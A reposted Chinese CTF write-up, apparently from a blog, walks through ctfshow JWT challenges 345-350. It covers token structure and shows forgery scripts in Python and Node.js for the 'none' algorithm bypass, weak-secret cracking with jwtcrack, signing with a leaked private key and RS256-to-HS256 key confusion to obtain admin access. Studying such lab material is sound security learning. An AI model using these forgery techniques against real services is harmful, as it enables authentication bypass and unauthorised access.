ctfshow jwt web入门

jwt令牌由三部分组成,由.分割

Header
Payload
Signature

header示例

{'typ': 'JWT','alg': 'HS256'
}# typ:声明类型
# alg:声明加密的算法 通常直接使用 HMAC SHA256
需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的

payload示例

{"sub": "1234567890","name": "John Doe"
}标准中注册的声明 (建议但不强制使用) 
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
signature
是一个签证信息,这个签证信息由三部分组成header (base64后的)
payload (base64后的)
secret注意:secret是保存在服务器端的,JWT的签发生成也是在服务器端的,secret就是用来进行JWT的签发和JWT的验证

在线jwt工具

web345

在这里插入图片描述没有加密只能手动编码

{"alg": "None","typ": "jwt"
}
ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJqd3QiCn0
[{"sub": "admin"}
]
WwogIHsKICAgIAogICAgInN1YiI6ICJhZG1pbiIKICB9Cl0

在这里插入图片描述这样修改之后是不太好改的至少我的电脑是这样,然后header和signature没有所以我们直接传需要验证的那一段即可

cookie:
WwogIHsKICAgIAogICAgInN1YiI6ICJhZG1pbiIKICB9Cl0

web346

在这里插入图片描述

我们要把加密换成none,user换成admin,使用脚本

import base64
def jwtBase64Encode(x):return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1717308697,"exp":1717315897,"nbf":1632212749,"sub":"admin",' \'"jti":"ef284a95660debcc71201fbd57541e07"} 'print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

然后就可以了

web347

不能改none了我发现只能爆密钥但是不知道为啥我就是爆不出来,既然是弱的就猜一个123456对了刚好
在这里插入图片描述

cd c-jwt-cracker-master./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNzMyOTk2NywiZXhwIjoxNzE3MzM3MTY3LCJuYmYiOjE3MTczMjk5NjcsInN1YiI6InVzZXIiLCJqdGkiOiIxZTA5YTdmODJmM2NhZTJiOGQ4MjU4N2I1ZTI4NTcwMCJ9.3mUyUCWS0vkgEEyDVYY_kuzVzT5qvCCIneHUn1ic4Qo

web348

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNzMzMjU2OCwiZXhwIjoxNzE3MzM5NzY4LCJuYmYiOjE3MTczMzI1NjgsInN1YiI6InVzZXIiLCJqdGkiOiIwZTZiMmRjM2RmZTRjOWM3ZWM3YjM2YzFlNTI4ODk4MCJ9.3UFCVH-G-__fqZvFVdN8wWmxR54Uoi38Hnj-Sp1sv0Q

在这里插入图片描述这个一秒就出了

web349

/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });res.cookie('auth',token);res.end('where is flag?');});router.post('/',function(req,res,next){var flag="flag_here";res.type('html');var auth = req.cookies.auth;var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public keyjwt.verify(auth, cert, function(err, decoded) {if(decoded.user==='admin'){res.end(flag);}else{res.end('you are not admin');}});
});

在这里插入图片描述
审计上面的代码发现在public.key有公钥
扫后台发现私钥

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

我不能用在线网页了,只能用node.js来写
或者用python

import jwt
private = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))

用bp发包,这里我就是忘了一个错误,应该是POST发包,别忘了上面的js文件说的是POST查看
在这里插入图片描述

web350

user.js

module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};

common.js

module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });res.cookie('auth',token);res.end('where is flag?');});router.post('/',function(req,res,next){var flag="flag_here";res.type('html');var auth = req.cookies.auth;var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public keyjwt.verify(auth, cert,function(err, decoded) {if(decoded.user==='admin'){res.end(flag);}else{res.end('you are not admin'+err);}});
});
module.exports = router;

公钥

-----CTFSHOW 36D BOY -----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t
HHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G
IgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk
65RmH98bgnIAGW5nawIDAQAB
-----END PUBLIC KEY-----

公钥给我们了,我们可以利用非对称转为对称算法进行攻击,利用公钥进行加密解密
RS256->HS256

const jwt = require('jsonwebtoken');  //导入库
var fs = require('fs');  //导入js库方便读文件操作
var privateKey = fs.readFileSync('./public.key');  
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });RS256改为HS256就可以用公钥解出来
console.log(token)  最后的cookie

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/846817.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20、matlab信号波形生成:狄利克雷函数、高斯脉冲和高斯脉冲序列

1、狄利克雷函数生成波形diric()函数 语法:y diric(x,n) 返回n次的狄利克雷函数对输入数组x的元素求值。 1)diric()函数 代码 x linspace(-2*pi,2*pi,301);%定义x取值 d6 diric(x,6); d7 diric(x,7); subplot(2,1,1) plot(x,d6) ylabel(n 6) tit…

C++中的‘friend‘关键字

目录 友元函数(Friend Function) 友元类(Friend Class) 友元函数模板(Friend Function Template) 友元类模板(Friend Class Template) 总结 摘要 在 C 中,friend 关…

英伟达算力芯片为什么能够“一统天下”

英伟达算力芯片能够一统天下,主要归因于以下几个关键因素: 技术创新与产品优势: 英伟达自1993年成立以来,一直在GPU和AI芯片领域进行持续的技术创新。特别是随着深度神经网络技术的突破,英伟达借助CUDA平台在人工智能…

湖南源点(市场研究)咨询 有效的市场调研是商业定位的基础

本文由湖南(市场调研)源点咨询编辑发布 近20年,中国购物中心井喷式的发展,经营面积几何倍的增长,但在现今竞争如此激烈的商业环境中,消费者的消费信心不足,购物中心同质化严重,经营…

C语言题目:求具有abcd=(ab+cd)^2性质的四位数

题目描述 3025这个数具有一种独特的性质:将它平分为二段,即30和25,使之相加后求平方,即(3025)2,恰好等于3025本身。请求出具有这样性质的全部四位数 输入格式 无 输出格式 满足题意的数全部四位数(从小到大输出,且…

mybatis执行自定义sql

背景 在开发过程中遇到一个需求:希望从数据库中读取预先定义好的sql,根据传参进行参数预处理后执行sql语句。结合项目实际情况我决定使用mybatis执行预定义sql。 实现过程 缓存我们自定义的sql语句 MappedStatement ms new MappedStatement.Builder(co…

flyfish3.0.0配置避坑

1.基础环境准备篇 doc/01-基础环境准备篇.md 云智慧/FlyFish - Gitee.com 使用教程里给出的java环境时,可以显示java版本,但是不能显示Maven的版本 改为: export NODE_HOME/usr/local/node/node-v14.19.3-linux-x64 export PATH$NODE_HOME…

【面试题-006】java中的垃圾回算法有哪些?

Java中的垃圾回收(Garbage Collection,简称GC)是指自动内存管理的一种机制,用于回收不再使用的对象占用的内存。Java中的垃圾回收算法主要有以下几种: 标记-清除(Mark-Sweep)算法: …

WebSocket 断网重连、心跳检测功能封装

文章目录 简介特点优缺点使用场景 用法封装断网重连心跳检测 注意 简介 WebSocket是一种用于在Web浏览器和服务器之间进行双向通信的协议。它提供了一种在单个TCP连接上进行持久化的全双工通信能力。WebSocket协议通过在HTTP握手阶段升级到WebSocket连接,从而允许双…

100页2秒?我们为什么需要这样的文档解析速度

近期,TextIn通用文档解析完成最新一版产品迭代,将100页文档解析速度提升至最快2秒以内。 P50(百页) P90(百页) P95(百页) P99(百页) 平均(单页…

记某网关系统通用漏洞的挖掘

前言 本篇文章分享一下通用漏洞挖掘的过程,想要获得通用漏洞证书,首先要求是中危及中危以上的通用型漏洞且所属公司的注册资本大于5000万。挖掘一个漏洞其实不难,个人觉得是目标公司资产的搜集。访问CNVD平台发现某网关系统被师傅提交过任意…

陈文自媒体:人生的管道收入,你搭建了几条?

今天不讲行业的内容,今天说说一下人生的一些规划,可能有人说,现在社会变化这么快,谈啥规划,那不是笑话嘛? 其实我想说,提前规划比没有规划,效果完全不一样, 是的社会变化…

V神的傲慢与偏见

原创 | 刘教链 隔夜BTC(比特币)小幅回升至5日线67.7k附近。前日5.31教链内参“美核心通胀放缓,利好宽松周期落地”[链接]提到,以太坊创始人Vitalik Buterin(V神)新发表了一篇长文,主题是关于他“…

Java反射机制:深入探讨与实际应用

Java反射机制:深入探讨与实际应用 引言 反射机制是Java语言的重要特性之一,它允许程序在运行时检查和操作自身的结构。通过反射,开发者可以在运行时动态地获取类的详细信息,创建对象,调用方法,甚至修改字…

H6911 DC2.6-40V升压IC 升24V36V48V60V80V100V10A数转模无频闪LED芯片

H6911 DC2.6-40V升压IC是一款升压恒流LED恒流驱动器,具有多种特点,适用于多种的LED照明应用领域。以下是关于该产品的详细解释: 一、产品概述 H6911是一款专为LED照明设计的升压恒流驱动器。它能在2.6至40V的宽电压范围内稳定工作&#xff0c…

性能优化随笔(一)

在软件开发过程中,一般要先实现功能方面的需求,功能方面的需求开发完毕之后,往往会考虑性能方面的优化。在业务发展的初期,性能往往能满足使用的需求,这时性能优化不是必不可少的。随着业务的发展,软件复杂…

Window11开放端口

(1)打开控制面板,进入【控制面板\系统和安全\Windows Defender 防火墙】 (2)点击左侧菜单【高级设置】,进入防火墙设置页面 (3)根据需要选择【入站规则】或者【出站规则】&#xff…

粒子群算法Java实现

粒子群算法(Particle Swarm Optimization,PSO)是一种受到自然界群体行为启发的优化算法,由James Kennedy和Russell Eberhart于1995年提出。该算法模拟了鸟类或其他动物群体(如鱼群)的社会和集体行为&#x…

C++:特殊类设计和四种类型转换

一、特殊类设计 1.1 不能被拷贝的类 拷贝只会放生在两个场景中:拷贝构造函数以及赋值运算符重载,因此想要让一个类禁止拷贝,只需让该类不能调用拷贝构造函数以及赋值运算符重载即可。 C98: 1、将拷贝构造函数与赋值运算符重载只…

linux 内核映像差异介绍:vmlinux、zImage、zbImage、image、uImage等

一、背景 Linux内核是整个Linux操作系统的核心部分,它是一个负责与硬件直接交互的软件层,并且提供多种服务和接口,让用户程序能够方便地使用硬件资源。 当我们编译自定义内核时,可以将其生成为以下内核映像之一:vmli…